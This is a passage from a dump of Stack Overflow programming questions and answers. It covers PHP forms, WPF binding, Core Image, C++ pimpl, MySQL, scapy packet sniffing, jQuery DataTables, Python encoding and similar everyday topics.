30762999	0	 <p>Using what you posted, it works fine for me, it produces the red "!" above the textbox. However, I DID remember to set my DataContext, ie.</p> <pre><code>public MainWindow() { InitializeComponent(); this.DataContext = this; } </code></pre> <p>Without this, it won't work.</p>
9029791	0	2 drop down menus w/o submit button <p>I would like to know how to submit two drop down menus w/o a submit button. I want to populate the second drop down menu on selection of the first and then be able to echo out the selection of the second drop down menu. Data for the second drop down menu is obtained from a mySQL database. I am using two forms on my page, one for each drop down menu.</p> <pre><code> &lt;form method="post" id="typeForm" name="typeForm" action=""&gt; &lt;select name="filterType" onchange="document.getElementById('typeForm').submit()"&gt; &lt;option &lt;?php if ($_POST['filterType'] == 'none') print 'selected '; ?&gt; value="none"&gt;Filter by...&lt;/option&gt; &lt;option &lt;?php if ($_POST['filterType'] == 'employee') print 'selected '; ?&gt; value="employee"&gt;Employee&lt;/option&gt; &lt;option &lt;?php if ($_POST['filterType'] == 'taskName') print 'selected '; ?&gt; value="taskName"&gt;Task&lt;/option&gt; &lt;/select&gt; &lt;noscript&gt;&lt;input type="submit" value="Submit"/&gt;&lt;/noscript&gt; &lt;/form&gt; &lt;form method="post" id="categoryForm" name="typeForm" action=""&gt; &lt;select name="filterCategory" onchange="document.getElementById('categoryForm').submit()"&gt; &lt;option &lt;?php if ($_POST['filterCategory'] == 'none') print 'selected '; ?&gt; value="none"&gt;&lt;/option&gt; &lt;? $count2 = 0; echo $rowsAffected2; while ($count2&lt;$rowsAffected2) { echo "&lt;option value='$filterName[$count2]'&gt;$filterName[$count2]&lt;/option&gt;"; $count2 = $count2 + 1; } ?&gt; &lt;/select&gt; &lt;noscript&gt;&lt;input type="submit" value="Submit"/&gt;&lt;/noscript&gt; &lt;/form&gt; </code></pre> <p>I can submit the first form with no problem. It retrieves values into the second drop down menu successfully.But on selecting a value from the second menu the page refreshes and I'm left with an two unselected drop down menus. I tried echoing the $_POST['filterCategory'] and didn't get a result. I tried using onchange="this.form.submit();" in both forms and I still get the same result. Is there a way to do this without using AJAX, JQuery or any complex Javascript script? I require to this completely in PHP. </p> <p>I want to avoid the second refresh but still be able to gather the $_POST[''] data from the second selection.</p>
19889679	0	 <p>Try this :</p> <pre><code>JTextArea txt = new JTextArea(); JScrollPane jsp = new JScrollPane(history, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); txt.setCaretPosition(txt.getDocument().getLength()); // do this afeter any event </code></pre> <p>Hope that helps you</p>
32547573	0	 <p>The way I've solved it was to render the context into a buffer and then write it to file as JPG. I'll have to further see how to optimise this flow on older gen iOS devices, but it seems to work well in comparison to createCGImage. This code is also useful for turning a CIImage into JPEG or bitmap NSData. Full sample code can be seen here: </p> <p><a href="https://github.com/mmackh/IPDFCameraViewController" rel="nofollow">https://github.com/mmackh/IPDFCameraViewController</a></p> <pre><code>static CIContext *ctx = nil; if (!ctx) { ctx = [CIContext contextWithOptions:@{kCIContextWorkingColorSpace:[NSNull null]}]; } CGSize bounds = enhancedImage.extent.size; int bytesPerPixel = 8; uint rowBytes = bytesPerPixel * bounds.width; uint totalBytes = rowBytes * bounds.height; uint8_t *byteBuffer = malloc(totalBytes); CGColorSpaceRef colorSpace = CGColorSpaceCreateDeviceRGB(); [ctx render:enhancedImage toBitmap:byteBuffer rowBytes:rowBytes bounds:enhancedImage.extent format:kCIFormatRGBA8 colorSpace:colorSpace]; CGContextRef bitmapContext = CGBitmapContextCreate(byteBuffer,bounds.width,bounds.height,bytesPerPixel,rowBytes,colorSpace,kCGImageAlphaNoneSkipLast); CGImageRef imgRef = CGBitmapContextCreateImage(bitmapContext); CGColorSpaceRelease(colorSpace); CGContextRelease(bitmapContext); free(byteBuffer); if (imgRef == NULL) { goto release; } CFURLRef url = (__bridge CFURLRef)[NSURL fileURLWithPath:filePath]; CGImageDestinationRef destination = CGImageDestinationCreateWithURL(url, kUTTypeJPEG, 1, NULL); CGImageDestinationAddImage(destination, imgRef, nil); CGImageDestinationFinalize(destination); CFRelease(destination); success = YES; goto release; release : { CFRelease(imgRef); if (success) { //completionHandler(filePath); } dispatch_resume(_captureQueue); } </code></pre>
13744223	0	 <p>Option 1 using pointers is a bad idea. Use either <code>boost::scoped_ptr</code> or, if you can, <a href="http://herbsutter.com/elements-of-modern-c-style/" rel="nofollow"><code>std::unique_ptr</code></a>.</p> <p>Option 2, as you implement it, should not be used. See <a href="http://www.gotw.ca/gotw/028.htm" rel="nofollow">GotW #28: The Fast Pimpl Idiom</a>. In C++11 however, this can be done correctly using <code>std::aligned_storage&lt;&gt;</code>. I once wrote a <code>pimpl_ptr&lt;T, Size, Align=default&gt;</code> that does the casting, copying, destructor call for you and checks that you have chosen the right <code>Size</code>.</p> <p>In general, use pimpl unless you have profiled and shown that this is the bottleneck.</p> <p>But as always, don't reinvent the wheel. Mutex and Threads are part of the new C++11 standard, so either upgrade the compiler or use Boost instead. For files use Boost. The reasoning is, that many parts of the new C++11 library are taken from Boost.</p>
30183330	0	 <p><strong>Both != and &lt;> has same Properties IN SQL:</strong></p> <p><strong>!= :</strong><br> Checks if the values of two operands are equal or not, if values are not equal then condition becomes true. </p> <pre><code>(a != b) is true. </code></pre> <p><strong>&lt;>:</strong> </p> <p>Checks if the values of two operands are equal or not, if values are not equal then condition becomes true. </p> <pre><code>(a &lt;&gt; b) is true. </code></pre>
9021528	0	 <p>I think you might be trying to do the first case outlined here:</p> <p><a href="http://dev.mysql.com/doc/refman/5.5/en/create-table-select.html" rel="nofollow">http://dev.mysql.com/doc/refman/5.5/en/create-table-select.html</a></p> <p>..which for your example would look like:</p> <pre><code>CREATE TEMPORARY TABLE tmp (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY) SELECT valueName AS valueName FROM sometable WHERE sometable.somevalue='00'; </code></pre> <p>..so it might just be the parens in the wrong places that bit you in your first try.</p>
38776323	0	 <p>@TeckSupport how about if you set up a function that pulls and writes the IP.dst:</p> <pre><code>from scapy.all import * fob = open("IP.txt","w") def ip_dst(pkt): fob.write(pkt[IP].dst+'\n') sniff(filter='ip',count=10,prn=ip_dst) fob.close() </code></pre> <p>Is this what you were looking to do?</p>
15326328	0	IIS throwig error when im refrencing a javascript file? <p>im messing around with a master page, and i want to use jquery and another javascript file to a simple tamplate im creating.</p> <p>i have a wierd problem that i dont understand, when i run the apsx on the browser, i dont see the changes i made in the javascript file. when i looking at the code [view source on chrome] and try to see the code on the javascript file and the jquery 1, i get an error</p> <blockquote> <p>The request filtering module is configured to deny a request that contains a double escape sequence.</p> </blockquote> <p>this is how i refrence the fiels in the head element:</p> <pre><code>&lt;head runat="server"&gt; &lt;script type="text/javascript" src="../Jquery1.6+vsdoc/jquery-1.7.1.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="Main.js"&gt;&lt;/script&gt; </code></pre> <blockquote> <p></p> </blockquote> <p>what can be the problem?</p> <p>im using visual studio 2012 if that helps. (sorry for my english)</p>
29298617	0	 <p>Thanks Pradeep. The following code fixed my problem</p> <pre><code> protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack ) { txt_rname.Enabled = false; txt_rmobile.Enabled = false; txt_remail.Enabled = false; con.Open(); // string qry = "select * from Reporter where Reporter_ID= " + DropDownList1.SelectedValue + ""; lbl_1.Text = Session["id"].ToString(); string qry = "select * from Reporter where Reporter_ID= " + Session["id"] + " "; SqlCommand cmd = new SqlCommand(qry, con); SqlDataAdapter da = new SqlDataAdapter(cmd); DataTable dt = new DataTable(); da.Fill(dt); // table data-&gt; data table con.Close(); txt_rname.Text = dt.Rows[0][1].ToString(); txt_remail.Text = dt.Rows[0][2].ToString(); txt_rmobile.Text = dt.Rows[0][3].ToString(); } else { } } </code></pre>
20477953	0	 <p>OK here is a jsFiddle with AN answer: <a href="http://jsfiddle.net/ccarns/2gMyx/" rel="nofollow">http://jsfiddle.net/ccarns/2gMyx/</a></p> <p>The reason I say that is I cheated a bit because every(2).months(); and other methods I tried for every two weeks would return unexpected results.</p> <pre><code>later.parse.recur().on(_dayOfTheMonth).dayOfMonth().every(2).month(); </code></pre> <p>For instance a start date of 12/1/2013 would return the same results as 1/1/2103 (both returning the first value as 1/1/2103). It seem like the implimenation treated every 2 as every odd month. Try the original fiddle at top to see what I mean.</p>
18990841	0	 <p>I t makes a lot of sense to have separate tables for stages, grades, semesters, ...</p> <p>You have already mentioned the best reason for this, you can add individual data for each of these levels. You can name the foreign keys in a sensible way (i.e. <code>stage_id</code> in the table for the grades). And I doubt you will ever need a list of subjects mixed in with lessons or semesters.</p>
392507	0	In Windows Mobile (5/6) SDK, where did windns.h go? <p>According to <a href="http://msdn.microsoft.com/en-us/library/aa916070.aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/aa916070.aspx</a> (DnsQuery_W), DNS query libraries are available on Windows Mobile / CE developers for versions 5.0 onwards. Yet, "#include " gives nasty "file not found" errors. What gives? Strangely enough "dnsapi.lib" is available. Does Microsoft actually expect developers to scavenge the file from somewhere?.. </p>
37131833	0	 <p>This is the Code I am Looking For and I found out myself </p> <pre><code>//you must install these two in your node js using npm var expect = require("chai").expect; var request = require('superagent'); describe("Name For The Test Suite", function() { it("Testing Post Request using Mocha", function(done) { request.post('localhost:8081/yourRequestCatcherName') .set('Content-Type', 'application/json') .send('{"fieldName":"data"}') .end(function(err,res){ //your code to Test done(); }) }); }); </code></pre> <p>it Works Perfectly in the way What I want.</p>
40994753	0	jquery DataTable function options are not working <p>I want to change some settings of my table with DataTable function, but the arguments</p> <pre><code>paging: false, scrollY: 400 </code></pre> <p>are not having any effect on the table whatsoever. </p> <hr> <pre><code>&lt;html&gt; &lt;head&gt; &lt;meta charset=utf-8 /&gt; &lt;link rel="stylesheet" type="text/css" href="http://ajax.aspnetcdn.com/ajax/jquery.dataTables/1.9.4/css/jquery.dataTables.css"&gt; &lt;/head&gt; &lt;body&gt; &lt;table id='example'&gt; &lt;thead&gt; &lt;tr&gt;&lt;th class='site_name'&gt;Name&lt;/th&gt;&lt;th&gt;Url &lt;/th&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;Last modified&lt;/th&gt;&lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;script type="text/javascript" charset="utf8" src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.8.2.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" charset="utf8" src="http://ajax.aspnetcdn.com/ajax/jquery.dataTables/1.9.4/jquery.dataTables.min.js"&gt;&lt;/script&gt; &lt;script&gt; $("#example").DataTable({ "aaData":[ ["Sitepoint","http://sitepoint.com","Blog","2013-10-15 10:30:00"], ["Flippa","http://flippa.com","Marketplace","null"], ["99designs","http://99designs.com","Marketplace","null"], ["Learnable","http://learnable.com","Online courses","null"], ["Rubysource","http://rubysource.com","Blog","2013-01-10 12:00:00"] ], paging: false, scrollY: 400 } ); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <hr> <p>I took the code from <a href="https://www.sitepoint.com/working-jquery-datatables/" rel="nofollow noreferrer">https://www.sitepoint.com/working-jquery-datatables/</a> and the instructions for the options from <a href="https://datatables.net/manual/options" rel="nofollow noreferrer">https://datatables.net/manual/options</a>.</p>
34645101	0	 <p>You're getting errors on your php script. The first step is to turn on your error reporting, so put the code below right under your opening <code>&lt;?php</code> tags:</p> <pre><code>ini_set('display_errors', 1); error_reporting(-1); </code></pre> <p>That will show you the errors. Now reading the comments, you're query seems to be failing.</p> <p>You should be checking the query to ensure it is actually successful before you try and fetch results as such.</p> <pre><code>$query = " Select * FROM users; "; $result = mysqli_query($connect, $query); // this checks if query failed and prints error. if(!$result){ die("SQL Error: ". mysqli_error($connect)); } // will only get here if your query runs successfully. $number_of_rows = mysqli_num_rows($result); ///... rest of your code... </code></pre> <p>Now, let us know what errors you get and if you managed to fix them. I'll update this answer as you reply.</p>
15436922	0	get value from child from to parent form <p>i have 2 form in my media player project i have make object of from1 (parent form) and by that get value from form1 in form3. but i also need to get value of a variable from form3 to form1. but the problem is that when i make the object of form3 in form1 like this </p> <pre><code> Form3 m_child; public Form1(Form3 frm3) { InitializeComponent(); m_child = frm3; } </code></pre> <p>it shows the error in the <strong>program.cs</strong> that <strong>from1 does not contain a constructor that contain 0 argument</strong>. i know i have to pass there a parameter in <code>Application.Run(new Form1());</code> </p> <p>but what i should pass i have no idea. plz help if is there any solution or any other way to get the value from child to parent form. </p> <p>this is my code for form3 now i want to use value of smileplay, surpriseplay ,sadplay,normalplay,ambiguousplay in form1</p> <pre><code> Form1 m_parent; public Form3(Form1 frm1) { InitializeComponent(); m_parent = frm1; } private void Form3_Load(object sender, EventArgs e) { WMPLib.IWMPPlaylistArray allplaylist= m_parent.axWindowsMediaPlayer1.playlistCollection.getAll(); for (int litem = 0; litem &lt; allplaylist.count; litem++) { smilecombo.Items.Add( allplaylist.Item(litem).name); surprisecombo.Items.Add(allplaylist.Item(litem).name); sadcombo.Items.Add(allplaylist.Item(litem).name); normalcombo.Items.Add(allplaylist.Item(litem).name); ambiguouscombo.Items.Add(allplaylist.Item(litem).name); } } private void savebtn_Click(object sender, EventArgs e) { WMPLib.IWMPPlaylist smileplay= m_parent.axWindowsMediaPlayer1.playlistCollection.getByName(smilecombo.SelectedItem.ToString()).Item(0); WMPLib.IWMPPlaylist surpriseplay = m_parent.axWindowsMediaPlayer1.playlistCollection.getByName(surprisecombo.SelectedItem.ToString()).Item(0); WMPLib.IWMPPlaylist sadplay = m_parent.axWindowsMediaPlayer1.playlistCollection.getByName(sadcombo.SelectedItem.ToString()).Item(0); WMPLib.IWMPPlaylist normalplay = m_parent.axWindowsMediaPlayer1.playlistCollection.getByName(normalcombo.SelectedItem.ToString()).Item(0); WMPLib.IWMPPlaylist ambiguousplay = m_parent.axWindowsMediaPlayer1.playlistCollection.getByName(ambiguouscombo.SelectedItem.ToString()).Item(0); } </code></pre>
31479681	0	 <ol> <li><p>The variables <code>jpg_data</code> and <code>png_data</code> are lists containing captured URLs. Your loops iterate over each URL, placing the URL string in the variable <code>image</code>. Then, in both loops, you write the URL string to the file, not the actual image. It actually looks like the commented out <code>urllib</code> lines would do the trick, instead of what you're currently doing now.</p></li> <li><p>The <code>.write()</code> function expects you to give it an object that matches the mode of the file. When you call <code>open(..., 'wb')</code>, you're saying to open the file in <code>write</code> and <code>binary</code> mode, which means that you need to give it <code>bytes</code> instead of <code>str</code>.</p></li> </ol> <p>Bytes are the fundamental way everything is stored in a computer. Everything is a series of bytes -- the data on your hard drive, and the data you send and receive on the Internet. Bytes don't really have meaning on their own -- each one is just 8 bits strung together. The meaning depends on how you <em>interpret</em> the bytes. For instance, you could interpret a single byte as representing a number from 0 to 255. Or, you could interpret it as a number from -128 to 127 (both of these are common). You could also assign these "numbers" to characters, and interpret a sequence of bytes as text. However, this only allows you to represent 256 characters, and there are many more than that in the world's various languages. So, there are multiple ways of representing text as sequences of bytes. These are called "character encodings". The most popular modern one is "UTF-8".</p> <p>In Python, a <code>bytes</code> object is just a series of bytes. It has no special meaning -- nobody has said what it represents yet. If you want to use that as text, you need to decode it, using one of the character encodings. Once you do that (<code>.decode('UTF-8')</code>), you have a <code>str</code> object. In order to write it to disk (or the network), your <code>str</code> will have to eventually be <em>encoded</em> back into bytes. When you open a file in text mode, Python chooses your computer's default encoding, and it will decode everything you read using that, and encode everything you write with it. However, when you open a file in <code>b</code> mode, Python expects that you will give it <code>bytes</code>, and so it throws an error when you give it a <code>str</code> instead. Since you know the HTML file you downloaded and put in <code>data</code> is text, it would have been best for you to save it to a file in text mode. However, encoding it as <code>UTF-8</code> and writing it to a binary file works too, as long as your system's default encoding is <code>UTF-8</code>. In general, when you have a <code>str</code> and you want to write it to a file, open the file in text mode (just don't pass <code>b</code> in the mode parameter) and let Python pick the encoding, since it knows better than you do!</p> <p>For more info on the character sets and encoding stuff (which I only glossed over), you really should read <a href="http://www.joelonsoftware.com/articles/Unicode.html" rel="nofollow">this</a> article.</p>
11319128	0	 <p>You could also try:</p> <pre><code>set rowcount 1000 delete from mytable where id in (select id from ids) set rowcount 0 --reset it when you are done. </code></pre> <p><a href="http://msdn.microsoft.com/en-us/library/ms188774.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms188774.aspx</a></p>
24773795	0	Value from MYSQL is coming null <p>I am fetching code from codeignitor using implode function. here is the code</p> <pre><code>$this-&gt;load-&gt;database(); $session_data = $this-&gt;session-&gt;userdata('logged_in'); $user_id = $session_data['user_id']; $this-&gt;db-&gt;select('skill_id'); $this-&gt;db-&gt;from('user_info_skillset'); $this-&gt;db-&gt;where('user_id',$user_id); $query = $this-&gt;db-&gt;get(); foreach($query-&gt;result() as $row) { $skill_id[] = $row-&gt;skill_id; } $test = implode(',',$skill_id); // echo '&lt;pre /&gt;'; // print_r($test); exit; $this-&gt;db-&gt;select('project_id'); $this-&gt;db-&gt;from('project'); $this-&gt;db-&gt;where_in('required_skills',$test); $query1 = $this-&gt;db-&gt;get(); echo '&lt;pre /&gt;'; print_r($query1); exit; return $query1-&gt;result(); </code></pre> <p>The problem is i can not able to fetch data for </p> <pre><code> echo '&lt;pre /&gt;'; print_r($query1); exit; return $query1-&gt;result(); </code></pre> <p>When i try enter this database query manually in mysql workbench it is working, but by code it displays null value. is that anything missing in code? please guide me. below is my output.</p> <p>Output</p> <pre><code>CI_DB_mysql_result Object ( [conn_id] =&gt; Resource id #34 [result_id] =&gt; Resource id #38 [result_array] =&gt; Array ( ) [result_object] =&gt; Array ( ) [custom_result_object] =&gt; Array ( ) [current_row] =&gt; 0 [num_rows] =&gt; 0 [row_data] =&gt; ) </code></pre>
4103668	0	Variables to get windows directories in x64 bit version? <p>In x64 bit version of windows, i see that are also x86 bit directories. How do we get that using envirnoment variables ?</p>
614881	0	Dynamically changing height of div element based on content <p>I'm working on a Facebook-like toolbar for my website.</p> <p>There's a part of the toolbar where a user can click to see which favorite members of theirs are online.</p> <p>I'm trying to figure out how to get the div element that pops up to grow based on the content that the AJAX call puts in there.</p> <p>For example, when the user clicks "Favorites Online (4)", I show the pop up div element with a fixed height and "Loading...". Once the content loads, I'd like to size the height of the div element based on what content was returned.</p> <p>I can do it by calculating the height of each element * the number of elements but that's not very elegant at all.</p> <p>Is there a way to do this with JavaScript or CSS? (note: using JQuery as well).</p> <p>Thanks.</p> <p>JavaScript:</p> <pre><code> function favoritesOnlineClick() { $('#favoritesOnlinePopUp').toggle(); $('#onlineStatusPopUp').hide(); if ($('#favoritesOnlinePopUp').css('display') == 'block') { loadFavoritesOnlineListing(); } } </code></pre> <p>CSS and HTML:</p> <pre><code> #toolbar { background:url('/_assets/img/toolbar.gif') repeat-x; height:25px; position:fixed; bottom:0px; width:100%; left:0px; z-index:100; font-size:0.8em; } #toolbar #popUpTitleBar { background:#606060; height:18px; border-bottom:1px solid #000000; } #toolbar #popUpTitle { float:left; padding-left:4px; } #toolbar #popUpAction { float:right; padding-right:4px; } #toolbar #popUpAction a { color:#f0f0f0; font-weight:bold; text-decoration:none; } #toolbar #popUpLoading { padding-top:6px; } #toolbar #favoritesOnline { float:left; height:21px; width:160px; padding-top:4px; border-right:1px solid #606060; text-align:center; } #toolbar #favoritesOnline .favoritesOnlineIcon { padding-right:5px; } #toolbar #favoritesOnlinePopUp { display:block; border:1px solid #000000; width:191px; background:#2b2b2b; float:left; position:absolute; left:-1px; top:-501px; /*auto;*/ height:500px;/*auto;*/ overflow:auto; } #toolbar #favoritesOnlineListing { font-size:12px; } &lt;div id="toolbar"&gt; &lt;div id="favoritesOnline" style=" &lt;?php if ($onlinestatus == -1) { echo "display:none;"; } ?&gt; "&gt; &lt;img class="favoritesOnlineIcon" src="/_assets/img/icons/favorite-small.gif" /&gt;&lt;a href="javascript:favoritesOnlineClick();"&gt;Favorites Online (&lt;span id="favoritesOnlineCount"&gt;&lt;?php echo $favonlinecount; ?&gt;&lt;/span&gt;)&lt;/a&gt; &lt;div id="favoritesOnlinePopUp"&gt; &lt;div id="popUpTitleBar"&gt; &lt;div id="popUpTitle"&gt;Favorites Online&lt;/div&gt; &lt;div id="popUpAction"&gt;&lt;a href="javascript:closeFavoritesOnline();"&gt;x&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; &lt;div id="favoritesOnlineListing"&gt; &lt;!-- Favorites online content goes here --&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
3939138	1	developing for modularity & reusability: how to handle While True loops? <p>I've been playing around with the pybluez module recently to scan for nearby Bluetooth devices. What I want to do now is extend the program to also find nearby WiFi client devices.</p> <p>The WiFi client scanner will have need to have a <code>While True</code> loop to continually monitor the airwaves. If I were to write this as a straight up, one file program, it would be easy.</p> <pre><code>import ... while True: client = scan() print client['mac'] </code></pre> <p>What I want, however, is to make this a module. I want to be able to reuse it later and, possible, have others use it too. What I can't figure out is how to handle the loop.</p> <pre><code>import mymodule scan() </code></pre> <p>Assuming the first example code was 'mymodule', this program would simply print out the data to stdout. I would want to be able to use this data in my program instead of having the module print it out...</p> <p>How should I code the module?</p>
18918666	0	 <p>Well actually all browsers comply with the same-origin policy. The reason for it is that if the policy didn't apply, upon visiting evil site, that site would essentially control your browser, could take use of any active sessions and cookies etc. You would be able to make ajax requests to any website the person is logged in using his session and perform virtually any task you'd like. You could also make requests to different ports, which again could be abused, used to make zombies, and hundreds other things more creative people would think off...</p> <p>Essentially the integrity of all your session would be gone upon visiting a any site. </p> <p>I would suggest reading <a href="https://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy" rel="nofollow">this</a> for a detailed explanation of the issue.</p>
5792060	1	easy_install with various versions of python installed, mac osx <p>I have various versions of python on a mac OSX 10.6 machine, some of them installed with macports:</p> <pre><code>&gt; python_select -l Available versions: current none python24 python26 python26-apple python27 </code></pre> <p>The default or system version is <code>python26-apple</code>. I am now using python27, which I selected with</p> <pre><code>&gt; sudo python_select python27 </code></pre> <p>I recently tried installing django using <code>easy_install</code>, but it got installed with the default python (I can check that by python_selecting python26-apple and importing django). If, instead, I download the django tarball, expand and use</p> <pre><code>&gt; sudo python setup.py install </code></pre> <p>everything works as expected, i.e. I get django in python 2.7. Now the question is, is there a way to get <code>easy_install</code> to work with the version of python I have selected with <code>python_select</code>? </p> <p><strong>UPDATE</strong> Apparently <code>python_select</code> is deprecated. The following command seems to be equivalent:</p> <pre><code>port select --list python </code></pre> <p>producing:</p> <pre><code>Available versions for python: none python24 python26 python26-apple python27 (active) </code></pre>
31044697	0	Keep selected value after post check <p>I have a enquete. 1 of the pages looks like this:</p> <pre><code>&lt;form method="POST"&gt; &lt;input type="hidden" value="true" id="x" name="x"&gt; &lt;table&gt; &lt;b&gt;How relevant where the topics for your current and/or future business?&lt;/b&gt; &lt;hr /&gt; &lt;tr&gt; &lt;input type="hidden" value="1" name="question1"&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="1"&gt;1&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="2"&gt;2&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="3"&gt;3&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="4"&gt;4&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="5"&gt;5&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="6"&gt;6&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="7"&gt;7&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="8"&gt;8&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="9"&gt;9&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer1" value="10"&gt;10&lt;/td&gt; &lt;td&gt; &lt;textarea rows="4" cols="50" name="comment1"&gt;&lt;/textarea&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;br /&gt;&lt;br /&gt; &lt;table&gt; &lt;b&gt;How did you value the networking opportunity?&lt;/b&gt; &lt;hr /&gt; &lt;tr&gt; &lt;input type="hidden" value="2" name="question2"&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="1"&gt;1&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="2"&gt;2&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="3"&gt;3&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="4"&gt;4&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="5"&gt;5&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="6"&gt;6&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="7"&gt;7&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="8"&gt;8&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="9"&gt;9&lt;/td&gt; &lt;td&gt;&lt;input type="radio" name="answer2" value="10"&gt;10&lt;/td&gt; &lt;td&gt; &lt;textarea rows="4" cols="50" name="comment2"&gt;&lt;/textarea&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;input id="enquete_next" type="submit" name="Add" value="Next"&gt; &lt;?php //If the form gets submitted, check if everything is okay. if(isset($_POST['x'])){ $validcomment = false; //validate if the answers are not empty. if they are empty go the the else statement. if(!empty($_POST['answer1'])){ if(!empty($_POST['answer2'])){ $validcomment = true; }else{ echo "Please fill in all the questions!" . "&lt;br&gt;"; } }else{ echo "Please fill in all the questions!" . "&lt;br&gt;"; } //If the form is filled in, and checked. Then do this! if($validcomment){ insert_page1(); } } ?&gt; &lt;/form&gt; </code></pre> <p>The following code is working. So when i fill in answer 1, but leave answer 2 empty. i get a message: Please fill in all the questions.</p> <p>However, i would like the form to keep its values. so i only have to fill in the empty answer instead of the whole form.</p> <p>Because right now, when it checks. The form gets empty and i have to fill it in all over again. </p>
7880123	0	 <p>I believe you can use the defaultdict in the collections module for this. <a href="http://docs.python.org/library/collections.html#collections.defaultdict" rel="nofollow">http://docs.python.org/library/collections.html#collections.defaultdict</a></p> <p>I think the examples are pretty close to being exactly what you want.</p>
36712742	0	How to add a button next to a field in vtiger CRM? <p>I made a script outside of vtiger CRM with a button and if you click on it the button opens a pop up and you can select a location within that popup which then puts the x and y coordinates in a textbox.</p> <p>What I want is to have that button next to a field I already have in vtiger CRM, the problem is is that with vtiger you can't simply just add some PHP, almost everything goes via the database.</p> <p>I need to add a custom UI Type which allows me to add a field with for example <code>uitype 595</code> which always has a button next to the field, the current list can be found here:<br /> <a href="https://wiki.vtiger.com/index.php/UI_Types" rel="nofollow">https://wiki.vtiger.com/index.php/UI_Types</a></p> <p>That is what I think would be the best solution even though I am sure there are easier methods of doing something like this.</p> <p>Are there any other methods of doing this? If so, how can I add a button next to a textbox field without messing with PHP code(can't change source code)?</p>
13539554	0	 <p>try this</p> <pre><code>$discounts = $this-&gt;model_catalog_product-&gt;getProductDiscounts($product_id); $product_discounts = array(); foreach($discounts as $discount) { $product_discounts = array( 'quantity' =&gt; $discount['quantity'], 'price' =&gt; $this-&gt;currency-&gt;format($this-&gt;tax-&gt;calculate($discount['price'], $product_info['tax_class_id'], $this-&gt;config-&gt;get('config_tax'))) ); } </code></pre>
6316920	0	 <p>I don't think MPG files have detailed meta data embedded in them. However, have a look at <a href="http://stackoverflow.com/questions/220097/read-write-extended-file-properties-c">this post</a> which explains how to get extended data from the tags stored with the file. If you right-click on the video file...<code>Properties</code>...<code>Details</code>, the file may have its <code>Frame Width</code> and <code>Frame Height</code> information filled in. You can extract this information, using the details from the link, to get the relevant information.</p>
30783336	0	Loading Image Animation only once <p>I have the following implementation and it is fully functional. I need to show loading animation image first time only, my current implementation it shows loading animation all the time.</p> <pre><code> var theDataSource = new kendo.data.DataSource({ transport: { read: function (op) { setTimeout(function () { op.success(data); }, 4000); } }, group: { field: "series" }, sort: { field: "category", dir: "asc" }, requestStart: function () { kendo.ui.progress($("#loading"), true); }, requestEnd: function () { kendo.ui.progress($("#loading"), false); } }); </code></pre> <h2><strong><a href="http://jsfiddle.net/8xbpws9x/" rel="nofollow">FIDDLE</a></strong></h2>
2011537	0	 <p>Check the rest of your javascript. <code>return false;</code> or <code>.preventDefault();</code> should do the trick. If they're not working, it usually means there's an error somewhere else in your js, and your browser never gets to that line of code.</p>
29844792	0	Dynamically setting bar graph values from a XML source <p>I got some great help parsing some RSS into a menu yesterday using jQuery <a href="http://stackoverflow.com/questions/29818858/parse-rss-title-into-html-using-javascript">Parse RSS feed with JS</a>, and inspired by this I would like to use something similar to control some chart bars on a website. </p> <p>Some background:</p> <blockquote> <p>We are aiming to use a floating score in our upcoming tech reviews on a webpage, meaning that you assign a product an absolute score (lets say 67) and then the maximum score would be able to move as new and better products hit the market. This way you would still be able to read a review from last year and use the score for something meaningful, as the score of 67 is now measured against this years max-score. Hope it makes sense.</p> </blockquote> <p>Anyhow, our CMS only permits javascript to be embedded in news entries, so I can't store our review scores in SQL or use php, and I was thinking of using XML instead (not optimal, but it should work). Each review would then contain a certain number of results including the beforementioned final score (and some intermediate sub-scores as well). I need to be able to insert a piece of JS code that extracts the scores for a specific review from the XML file and inserts the HTML code needed to draw the bars.</p> <p>I have a JSfiddle set up, that contains the XML, it has the chart (hardcoded though), and using the jQuery code from my previous question I can sort of extract the results, but the code loops through all the XML and I don't really have a clue how to pick out the specific review number I need nor how to get things measured against the max-score, so it just prints everything right now and calculates a score based on a max-score of 100. I haven't tied the values to my chart yet, so the test version just prints the results in a ul/li.</p> <p><a href="http://jsfiddle.net/TorbenRasmussen/sLxdfyj7/35/" rel="nofollow">Link to JSFiddle</a></p> <p>So basically I need some sort of code that I can invoke from my HTML that 